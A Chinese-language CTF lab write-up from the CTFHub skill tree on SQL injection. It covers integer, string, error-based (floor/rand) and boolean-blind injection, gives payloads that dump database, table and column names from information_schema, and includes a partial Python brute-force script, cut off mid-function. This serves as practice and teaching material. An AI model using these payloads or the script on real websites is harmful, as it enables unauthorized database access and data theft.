终于到sql注入了,最先了解到的安全名词就是sql注入,但也因为sql注入,让我自闭了好久,这次干tm的淦!

 

1.整数型注入

 

先用orde by测了下回显位,一共有两个

CTFHub-技能树-SQL注入

 

试了下,加引号没有报错回显,而且加注释也不显示,判断SQL语句没有被引号包围

测试回显位

(TIPS:测试回显位的时候要注意,选一个为空的id传入,不然回显位会被覆盖,没法测试)

CTFHub-技能树-SQL注入

 

 

 

 

爆数据库名

CTFHub-技能树-SQL注入

 

 

 

 

爆表名

CTFHub-技能树-SQL注入

 

 

 

 

爆字段名

CTFHub-技能树-SQL注入

 

 

 

 

拿到flag:

CTFHub-技能树-SQL注入

 

 

 

 

爆数据库名/表名/字段名,还有一些其他常用的SQL语句一定要理解掌握

 爆数据库名:
 select 1,group_concat(schema_name) from information_schema.schemata
 select 1,database()
 
 爆表名:
 select 1,group_concat(table_name) from information_schema.tables where table_schema =
 
 爆字段名:
 select 1,group_concat(column_name) from information_schema.columns where table_name =
 
 爆flag:
 select 1,group_concat(flag) from flag

 

中午本来打算继续做题的,BUT发现了lol卡牌游戏LOR,就去玩了一中午 = =,刚恰完饭,开肝!

 

2.字符型注入

 

因为和上一题一样的页面,推测回显位也一样,测试:

CTFHub-技能树-SQL注入

 

 

 

 

爆数据库名

CTFHub-技能树-SQL注入

 

 

 

 

爆表名

CTFHub-技能树-SQL注入

 

 

 

 

爆字段名

CTFHub-技能树-SQL注入

 

 

 

 

拿到flag

CTFHub-技能树-SQL注入

 

 

 

 

 

3.报错型注入

以前没有学过报错型注入,google了一下,看到and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)的时候人有点懵,然后做题过程也是很曲折 = = 加油加油

 

这里的知识点参考了前辈的博客(tips:前辈讲的很清楚,比我写的要详细,好理解很多)

这道题是floor()报错注入,(当然还有其他报错注入类型

需要了解几个相关知识点:

  • floor()函数:向下取整,比如floor(1.5)=1

  • rand()函数:

    • 产生0到1之间的随机数

    • 用rand(0)*2是因为它产生的随机数序列一定,011011001(与 group by 一同作用产生报错)

  • group by是根据某个字段来对数据进行分组的函数,会生成一张新的虚表(临时表)

  • ( xxxx )a == ( xxx ) as a

  • count(*)计数函数

  • 具体过程:

    • and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)

    • 首先group by 访问x,即concat(database(), floor(rand(0)*2))x(后边的解释需要忽略掉database()),这里第一次触发里面的rand()函数,取值为0,然后group by会去表里查找有无(group_key字段)值为0的项,因为是空表,没有值为0的项,所以要做插入操作,而插入的时候,还会再调用一次x,并把新生成的x插入到表中,即插入了1,对应的count(*)字段为1

    • group by第二次访问x,值为1,查询发现该项存在,因此不用插入,直接count(*)加一

    • group by第三次访问x,同上

    • group by第四次访问x,值为0,查询发现没有值为0的项,因此要插入,插入的时候再次访问x,拿到的值是1,插入之后,表中有两个值相同的项,因此会触发dumplicated key error

 

报错的利用方式: concat(需要的值, floor(rand(0)*2)),就是把需要的值和随机数一块存进去

 

做题过程:

 

爆数据库名:

CTFHub-技能树-SQL注入

 

 

 

 

爆表名:

CTFHub-技能树-SQL注入

 

 

 

 

爆字段名:

(图截错了),语句是select concat(column_name) from information_schema.columns where table_name = 'flag' 如果报错可以加个limit 0,1试试 ,我记不太清了

 

拿到flag:

CTFHub-技能树-SQL注入

 

 

 

 

掌握新姿势的感觉真的很不错

 

 

4.布尔型注入

 

今天尽量把sql注入肝完,然后留点事件想一下wp是发在第三方博客、自己搭一个博客还是自己弄个公众号

 

老实说,= = 我一中午就做了一道题,不过庆幸的是学了很多新东西,想起李慢慢的话:“因为慢所以快。”

 

先讲一下布尔注入的核心思想:

  • 构造的查询语句返回的是布尔值(0/1)

  • 查询结果的布尔值能通过一些标志(比如 success/fail 或者 显示结果/不显示结果)体现出来

 

这里给大家踩个坑,这道题里的布尔值反映的是查询过程,而非查询结果,即,sql执行不正确才会fail(意思就是查询过程正常,则返回success,查询过程出错,则返回fail,与查询结果是否为空无关)。

CTFHub-技能树-SQL注入

 

 

 

这里特别感谢羽(一位前辈)的解惑和鼓励。

 

经典布尔注入语句:

  • 判断数据库名长度: if(length(database())>1, 1, (select table_name from information_schema.tables))

    • if(a, b, c) ,a正确则执行b,否则执行c,对应一下,即长度符合推测则返回正确否则失败(原因如下)

    • if里的c,构造了一个错误的select语句(缺少了from information_......),所以会报错进而查询失败

    • 判断表名长度/字段名长度稍微改一下,length(database())>1换成(select length(table_name) from information_schema.tables where table_schema=database())>1

 

  • 判断数据库名: if(ascii(substr(database(), 1, 1))>1, 1, (select table_name from information_schema.tables))

    • 与判断长度的语句相比,改变了if里的a部分

    • ascii()是将字符转换为ascii码的函数

    • substr(string, position, length)是字符截取函数,第一个参数是被截取的字符串,第二个参数是截取开始的位置(从1开始),第三个是截取的长度

    • 查询表明字段名,把databse()换成(select xxx from xxxxx)就好

这里我尝试过直接用substr()="x"来判断,但是会一直报错,挖个坑,把mysql修好之后就来找下原因。

 

知道基本语句和原理之后就可以直接开x

 

检测数据库名长度:

这里试了下延时注入,sleep(2)的意思是等待2秒

CTFHub-技能树-SQL注入

 

 

 

 

爆库名:(写了脚本,在后边贴着)

CTFHub-技能树-SQL注入

 

 

 

 

检测表名长度:

CTFHub-技能树-SQL注入

 

 

 

 

爆表名:

CTFHub-技能树-SQL注入

 

 

 

 

检测字段名长度

CTFHub-技能树-SQL注入

 

 

 

 

爆字段名:

CTFHub-技能树-SQL注入

 

 

 

 

检测flag长度:

CTFHub-技能树-SQL注入

 

 

 

 

爆flag:

爆flag的时候,第一次错了,因为脚本的ascii范围设置小了(踩坑)

CTFHub-技能树-SQL注入

 

 

 

第二次正确!

CTFHub-技能树-SQL注入

 

 

 

 

今天看了一个教学视频,发现burp的intruder也可以用于猜解,当然sqlmap最好用,不过我还是建议先自己写脚本,能对注入原理和过程有更深的理解.

 

python脚本:!!!!!!!(因为之前用的编辑器格式不正确,现在已经不能修改了,所以大家要代码的话,点一下边框右边的复制,粘到ide里看吧。

 """
 Title: SQLi_Bool
 Author: Recol
 Date: 2020-03-07
 """
 
 import requests
 
 baseurl = 'url?id=1 and '  # 这里的and和空格一定要保留
 string = 'qwertyuiopasdfghjklzxcvbnm1234567890@{}-.'  # 可能出现的字符
 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/81.0.4044.9 Safari/537.36'}
 flag = 'query_success'
 lll = 5  # 要爆破的表的数量(偷了个懒
 
 
 def get_database_length():
     sql = 'if(length(database())=%d, 1, (select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     database_length = 1
     while database_length:
         res = requests.get(url=sql_url % database_length, headers=headers)
         if flag in res.text:
             break
         database_length += 1
 
     print(database_length)
     return database_length
 
 
 def get_database_name(database_length):
     sql = 'if(substr(database(),%d,1)="%s", 1, (select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     database_name = ''
     for i in range(1, database_length + 1):
         for x in string:
             res = requests.get(url=sql_url % (i, x), headers=headers)
             if flag in res.text:
                 print(x)
                 database_name += x
 
     print(database_name)
     return database_name
 
 
 def get_table_length(database_name="database()"):
     sql = 'if((select length(table_name) from information_schema.tables where table_schema=%s limit 1,1)=%d,1,(select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     table_length = 1
     for i in range(0, lll):
         while table_length:
             print(table_length)
             res = requests.get(url=sql_url % (database_name, table_length), headers=headers)
             if flag in res.text:
                 break
             table_length += 1
             if table_length > 100:
                 table_length = -1
                 break
 
     print(table_length)
     return table_length
 
 
 def get_table_name(table_length, databse_name="database()"):
     sql = 'if(ascii(substr((select table_name from information_schema.tables where table_schema=%s limit %d,1),%d,1))>%d, 1, (select table_name from information_schema.tables))'
     sql_url = baseurl + sql
     

相关文章: